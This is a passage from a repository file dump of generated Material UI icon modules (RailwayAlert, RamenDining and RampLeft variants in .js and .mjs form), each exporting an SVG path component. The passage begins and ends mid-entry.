    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 8a7 7 0 0 0-11.95-4.95A34 34 0 0 0 9 3c-4.42 0-8 .5-8 4v10.5A3.5 3.5 0 0 0 4.5 21L3 22.5v.5h12v-.5L13.5 21a3.5 3.5 0 0 0 3.5-3.5v-2.58A7 7 0 0 0 23 8M3 12V7h6.08a6.96 6.96 0 0 0 1.18 5zm6 7c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m7.71-6.06-.2.03L16 13l-.47-.02-.16-.02-.29-.04-.2-.04-.22-.06a1.55 1.55 0 0 1-.23-.07l-.13-.05A4.99 4.99 0 0 1 11.1 7q.06-.285.15-.54l.05-.14.15-.38.07-.15.2-.36.07-.12.3-.42.02-.02c.24-.3.52-.57.82-.81l.01-.01.46-.32.03-.02A5.25 5.25 0 0 1 16 3a5 5 0 0 1 .71 9.94M15 4h2v5h-2zm0 6h2v2h-2z\"\n}), 'RailwayAlert');"
  },
  {
    "path": "packages/mui-icons-material/lib/RailwayAlertOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"10\",\n  cy: \"15.5\",\n  r: \"1.5\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 11V8h7.29C11.1 7.37 11 6.7 11 6H4.43c.9-.77 3.28-1.08 6.65-.98.1-.7.3-1.37.59-1.99C2.97 2.67 2 5.02 2 7v9.5C2 18.43 3.57 20 5.5 20L4 21v1h12v-1l-1.5-1c1.93 0 3.5-1.57 3.5-3.5V13c-1.91 0-3.63-.76-4.89-2zm12 5.5c0 .83-.67 1.5-1.5 1.5h-9c-.83 0-1.5-.67-1.5-1.5V13h12z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 1c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m.5 8h-1V8h1zm0-2h-1V3h1z\"\n}, \"2\")], 'RailwayAlertOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RailwayAlertOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"10\",\n  cy: \"15.5\",\n  r: \"1.5\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 11V8h7.29C11.1 7.37 11 6.7 11 6H4.43c.9-.77 3.28-1.08 6.65-.98.1-.7.3-1.37.59-1.99C2.97 2.67 2 5.02 2 7v9.5C2 18.43 3.57 20 5.5 20L4 21v1h12v-1l-1.5-1c1.93 0 3.5-1.57 3.5-3.5V13c-1.91 0-3.63-.76-4.89-2zm12 5.5c0 .83-.67 1.5-1.5 1.5h-9c-.83 0-1.5-.67-1.5-1.5V13h12z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 1c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m.5 8h-1V8h1zm0-2h-1V3h1z\"\n}, \"2\")], 'RailwayAlertOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RailwayAlertRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 11V8h7.29c-.77-2.6.21-4.61.37-4.97C2.97 2.67 2 5.02 2 7v9.5C2 18.43 3.57 20 5.5 20l-1.21.81c-.18.12-.29.32-.29.54 0 .36.29.65.65.65h10.7c.36 0 .65-.29.65-.65 0-.22-.11-.42-.29-.54L14.5 20c1.93 0 3.5-1.57 3.5-3.5V13c-1.91 0-3.63-.76-4.89-2zm6 6c-.83 0-1.5-.67-1.5-1.5S9.17 14 10 14s1.5.67 1.5 1.5S10.83 17 10 17\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 1c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m0 8c-.28 0-.5-.22-.5-.5s.22-.5.5-.5.5.22.5.5-.22.5-.5.5m.5-2.5c0 .28-.22.5-.5.5s-.5-.22-.5-.5v-3c0-.28.22-.5.5-.5s.5.22.5.5z\"\n}, \"1\")], 'RailwayAlertRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RailwayAlertRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 11V8h7.29c-.77-2.6.21-4.61.37-4.97C2.97 2.67 2 5.02 2 7v9.5C2 18.43 3.57 20 5.5 20l-1.21.81c-.18.12-.29.32-.29.54 0 .36.29.65.65.65h10.7c.36 0 .65-.29.65-.65 0-.22-.11-.42-.29-.54L14.5 20c1.93 0 3.5-1.57 3.5-3.5V13c-1.91 0-3.63-.76-4.89-2zm6 6c-.83 0-1.5-.67-1.5-1.5S9.17 14 10 14s1.5.67 1.5 1.5S10.83 17 10 17\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 1c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m0 8c-.28 0-.5-.22-.5-.5s.22-.5.5-.5.5.22.5.5-.22.5-.5.5m.5-2.5c0 .28-.22.5-.5.5s-.5-.22-.5-.5v-3c0-.28.22-.5.5-.5s.5.22.5.5z\"\n}, \"1\")], 'RailwayAlertRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RailwayAlertSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 11V8h7.29c-.77-2.6.21-4.61.37-4.97C2.97 2.67 2 5.02 2 7v9.5C2 18.43 3.57 20 5.5 20L4 21v1h12v-1l-1.5-1c1.93 0 3.5-1.57 3.5-3.5V13c-1.91 0-3.63-.76-4.89-2zm6 6c-.83 0-1.5-.67-1.5-1.5S9.17 14 10 14s1.5.67 1.5 1.5S10.83 17 10 17\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 1c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m.5 8h-1V8h1zm0-2h-1V3h1z\"\n}, \"1\")], 'RailwayAlertSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RailwayAlertSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 11V8h7.29c-.77-2.6.21-4.61.37-4.97C2.97 2.67 2 5.02 2 7v9.5C2 18.43 3.57 20 5.5 20L4 21v1h12v-1l-1.5-1c1.93 0 3.5-1.57 3.5-3.5V13c-1.91 0-3.63-.76-4.89-2zm6 6c-.83 0-1.5-.67-1.5-1.5S9.17 14 10 14s1.5.67 1.5 1.5S10.83 17 10 17\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 1c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m.5 8h-1V8h1zm0-2h-1V3h1z\"\n}, \"1\")], 'RailwayAlertSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RailwayAlertTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 16.5c0 .83.67 1.5 1.5 1.5h9c.83 0 1.5-.67 1.5-1.5V13H4zm6-2.5c.83 0 1.5.67 1.5 1.5S10.83 17 10 17s-1.5-.67-1.5-1.5S9.17 14 10 14M4.43 6H11c0-.33.03-.66.08-.98-3.37-.1-5.75.21-6.65.98\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 11V8h7.29C11.1 7.37 11 6.7 11 6H4.43c.9-.77 3.28-1.08 6.65-.98.1-.7.3-1.37.59-1.99C2.97 2.67 2 5.02 2 7v9.5C2 18.43 3.57 20 5.5 20L4 21v1h12v-1l-1.5-1c1.93 0 3.5-1.57 3.5-3.5V13c-1.91 0-3.63-.76-4.89-2zm12 5.5c0 .83-.67 1.5-1.5 1.5h-9c-.83 0-1.5-.67-1.5-1.5V13h12z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"10\",\n  cy: \"15.5\",\n  r: \"1.5\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 1c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m.5 8h-1V8h1zm0-2h-1V3h1z\"\n}, \"3\")], 'RailwayAlertTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RailwayAlertTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 16.5c0 .83.67 1.5 1.5 1.5h9c.83 0 1.5-.67 1.5-1.5V13H4zm6-2.5c.83 0 1.5.67 1.5 1.5S10.83 17 10 17s-1.5-.67-1.5-1.5S9.17 14 10 14M4.43 6H11c0-.33.03-.66.08-.98-3.37-.1-5.75.21-6.65.98\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 11V8h7.29C11.1 7.37 11 6.7 11 6H4.43c.9-.77 3.28-1.08 6.65-.98.1-.7.3-1.37.59-1.99C2.97 2.67 2 5.02 2 7v9.5C2 18.43 3.57 20 5.5 20L4 21v1h12v-1l-1.5-1c1.93 0 3.5-1.57 3.5-3.5V13c-1.91 0-3.63-.76-4.89-2zm12 5.5c0 .83-.67 1.5-1.5 1.5h-9c-.83 0-1.5-.67-1.5-1.5V13h12z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"10\",\n  cy: \"15.5\",\n  r: \"1.5\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 1c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m.5 8h-1V8h1zm0-2h-1V3h1z\"\n}, \"3\")], 'RailwayAlertTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RamenDining.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 6H8V4.65l1-.12zm0 6H8V7h1zM6 7h1v5H6zm0-2.12 1-.12V6H6zM22 3V2L5 4v8H2c0 3.69 2.47 6.86 6 8.25V22h8v-1.75c3.53-1.39 6-4.56 6-8.25H10V7h12V6H10V4.41z\"\n}), 'RamenDining');"
  },
  {
    "path": "packages/mui-icons-material/lib/RamenDining.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 6H8V4.65l1-.12zm0 6H8V7h1zM6 7h1v5H6zm0-2.12 1-.12V6H6zM22 3V2L5 4v8H2c0 3.69 2.47 6.86 6 8.25V22h8v-1.75c3.53-1.39 6-4.56 6-8.25H10V7h12V6H10V4.41z\"\n}), 'RamenDining');"
  },
  {
    "path": "packages/mui-icons-material/lib/RamenDiningOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.66 14c-.66 1.92-2.24 3.54-4.4 4.39l-1.26.5V20h-4v-1.11l-1.27-.5c-2.16-.85-3.74-2.47-4.4-4.39zM22 2 4 3.99V12H2c0 3.69 2.47 6.86 6 8.25V22h8v-1.75c3.53-1.39 6-4.56 6-8.25H10.5V8H22V6.5H10.5V4.78L22 3.51zM8 6.5V5.06l1-.11V6.5zm-2.5 0V5.34l1-.11V6.5zM8 12V8h1v4zm-2.5 0V8h1v4z\"\n}), 'RamenDiningOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RamenDiningOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.66 14c-.66 1.92-2.24 3.54-4.4 4.39l-1.26.5V20h-4v-1.11l-1.27-.5c-2.16-.85-3.74-2.47-4.4-4.39zM22 2 4 3.99V12H2c0 3.69 2.47 6.86 6 8.25V22h8v-1.75c3.53-1.39 6-4.56 6-8.25H10.5V8H22V6.5H10.5V4.78L22 3.51zM8 6.5V5.06l1-.11V6.5zm-2.5 0V5.34l1-.11V6.5zM8 12V8h1v4zm-2.5 0V8h1v4z\"\n}), 'RamenDiningOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RamenDiningRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 2.84c0-.45-.39-.79-.83-.75L4.89 3.9c-.51.05-.89.48-.89.99V12h-.92c-.6 0-1.08.53-1 1.13.44 3.2 2.75 5.87 5.92 7.12V21c0 .55.45 1 1 1h6c.55 0 1-.45 1-1v-.75c3.17-1.25 5.48-3.92 5.92-7.12.08-.6-.4-1.13-1-1.13H10.5V8h10.75c.41 0 .75-.34.75-.75s-.34-.75-.75-.75H10.5V4.78l10.83-1.19c.38-.05.67-.37.67-.75M6.5 5.22V6.5h-1V5.34zM5.5 8h1v4h-1zM9 12H8V8h1zm0-5.5H8V5.06l1-.11z\"\n}), 'RamenDiningRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RamenDiningRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 2.84c0-.45-.39-.79-.83-.75L4.89 3.9c-.51.05-.89.48-.89.99V12h-.92c-.6 0-1.08.53-1 1.13.44 3.2 2.75 5.87 5.92 7.12V21c0 .55.45 1 1 1h6c.55 0 1-.45 1-1v-.75c3.17-1.25 5.48-3.92 5.92-7.12.08-.6-.4-1.13-1-1.13H10.5V8h10.75c.41 0 .75-.34.75-.75s-.34-.75-.75-.75H10.5V4.78l10.83-1.19c.38-.05.67-.37.67-.75M6.5 5.22V6.5h-1V5.34zM5.5 8h1v4h-1zM9 12H8V8h1zm0-5.5H8V5.06l1-.11z\"\n}), 'RamenDiningRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RamenDiningSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 3.51V2L4 3.99V12H2c0 3.69 2.47 6.86 6 8.25V22h8v-1.75c3.53-1.39 6-4.56 6-8.25H10.5V8H22V6.5H10.5V4.78zM6.5 5.22V6.5h-1V5.34zM5.5 8h1v4h-1zM9 12H8V8h1zm0-5.5H8V5.06l1-.11z\"\n}), 'RamenDiningSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RamenDiningSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 3.51V2L4 3.99V12H2c0 3.69 2.47 6.86 6 8.25V22h8v-1.75c3.53-1.39 6-4.56 6-8.25H10.5V8H22V6.5H10.5V4.78zM6.5 5.22V6.5h-1V5.34zM5.5 8h1v4h-1zM9 12H8V8h1zm0-5.5H8V5.06l1-.11z\"\n}), 'RamenDiningSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RamenDiningTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m8.73 18.39 1.27.5V20h4v-1.11l1.27-.5c2.16-.85 3.74-2.47 4.4-4.39H4.34c.65 1.92 2.24 3.54 4.39 4.39\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 3.51V2L4 3.99V12H2c0 3.69 2.47 6.86 6 8.25V22h8v-1.75c3.53-1.39 6-4.56 6-8.25H10.5V8H22V6.5H10.5V4.78zM8 5.06l1-.11V6.5H8zM8 8h1v4H8zM5.5 5.34l1-.11V6.5h-1zM5.5 8h1v4h-1zm14.16 6c-.66 1.92-2.24 3.54-4.4 4.39l-1.26.5V20h-4v-1.11l-1.27-.5c-2.16-.85-3.74-2.47-4.4-4.39z\"\n}, \"1\")], 'RamenDiningTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RamenDiningTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m8.73 18.39 1.27.5V20h4v-1.11l1.27-.5c2.16-.85 3.74-2.47 4.4-4.39H4.34c.65 1.92 2.24 3.54 4.39 4.39\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 3.51V2L4 3.99V12H2c0 3.69 2.47 6.86 6 8.25V22h8v-1.75c3.53-1.39 6-4.56 6-8.25H10.5V8H22V6.5H10.5V4.78zM8 5.06l1-.11V6.5H8zM8 8h1v4H8zM5.5 5.34l1-.11V6.5h-1zM5.5 8h1v4h-1zm14.16 6c-.66 1.92-2.24 3.54-4.4 4.39l-1.26.5V20h-4v-1.11l-1.27-.5c-2.16-.85-3.74-2.47-4.4-4.39z\"\n}, \"1\")], 'RamenDiningTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RampLeft.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 21h-2V6.83L9.41 8.41 8 7l4-4 4 4-1.41 1.41L13 6.83V9c0 4.27 4.03 7.13 6 8.27l-1.46 1.46c-1.91-1.16-3.44-2.53-4.54-4.02z\"\n}), 'RampLeft');"
  },
  {
    "path": "packages/mui-icons-material/lib/RampLeft.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 21h-2V6.83L9.41 8.41 8 7l4-4 4 4-1.41 1.41L13 6.83V9c0 4.27 4.03 7.13 6 8.27l-1.46 1.46c-1.91-1.16-3.44-2.53-4.54-4.02z\"\n}), 'RampLeft');"
  },
  {
    "path": "packages/mui-icons-material/lib/RampLeftOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 21h-2V6.83L9.41 8.41 8 7l4-4 4 4-1.41 1.41L13 6.83V9c0 4.27 4.03 7.13 6 8.27l-1.46 1.46c-1.91-1.16-3.44-2.53-4.54-4.02z\"\n}), 'RampLeftOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RampLeftOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 21h-2V6.83L9.41 8.41 8 7l4-4 4 4-1.41 1.41L13 6.83V9c0 4.27 4.03 7.13 6 8.27l-1.46 1.46c-1.91-1.16-3.44-2.53-4.54-4.02z\"\n}), 'RampLeftOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RampLeftRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 21c-.55 0-1-.45-1-1V6.83l-.88.88c-.39.39-1.02.39-1.41 0a.996.996 0 0 1 0-1.41l2.59-2.59c.39-.39 1.02-.39 1.41 0L15.3 6.3c.39.39.39 1.02 0 1.41s-1.02.39-1.41 0L13 6.83V9c0 3.62 2.89 6.22 4.97 7.62.52.35.59 1.09.14 1.53-.33.33-.87.4-1.26.13-1.59-1.06-2.89-2.28-3.85-3.59v5.3c0 .56-.45 1.01-1 1.01\"\n}), 'RampLeftRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RampLeftRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 21c-.55 0-1-.45-1-1V6.83l-.88.88c-.39.39-1.02.39-1.41 0a.996.996 0 0 1 0-1.41l2.59-2.59c.39-.39 1.02-.39 1.41 0L15.3 6.3c.39.39.39 1.02 0 1.41s-1.02.39-1.41 0L13 6.83V9c0 3.62 2.89 6.22 4.97 7.62.52.35.59 1.09.14 1.53-.33.33-.87.4-1.26.13-1.59-1.06-2.89-2.28-3.85-3.59v5.3c0 .56-.45 1.01-1 1.01\"\n}), 'RampLeftRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RampLeftSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 21h-2V6.83L9.41 8.41 8 7l4-4 4 4-1.41 1.41L13 6.83V9c0 4.27 4.03 7.13 6 8.27l-1.46 1.46c-1.91-1.16-3.44-2.53-4.54-4.02z\"\n}), 'RampLeftSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RampLeftSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 21h-2V6.83L9.41 8.41 8 7l4-4 4 4-1.41 1.41L13 6.83V9c0 4.27 4.03 7.13 6 8.27l-1.46 1.46c-1.91-1.16-3.44-2.53-4.54-4.02z\"\n}), 'RampLeftSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RampLeftTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 21h-2V6.83L9.41 8.41 8 7l4-4 4 4-1.41 1.41L13 6.83V9c0 4.27 4.03 7.13 6 8.27l-1.46 1.46c-1.91-1.16-3.44-2.53-4.54-4.02z\"\n}), 'RampLeftTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RampLeftTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 21h-2V6.83L9.41 8.41 8 7l4-4 4 4-1.41 1.41L13 6.83V9c0 4.27 4.03 7.13 6 8.27l-1.46 1.46c-1.91-1.16-3.44-2.53-4.54-4.02z\"\n}), 'RampLeftTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RampRight.js",
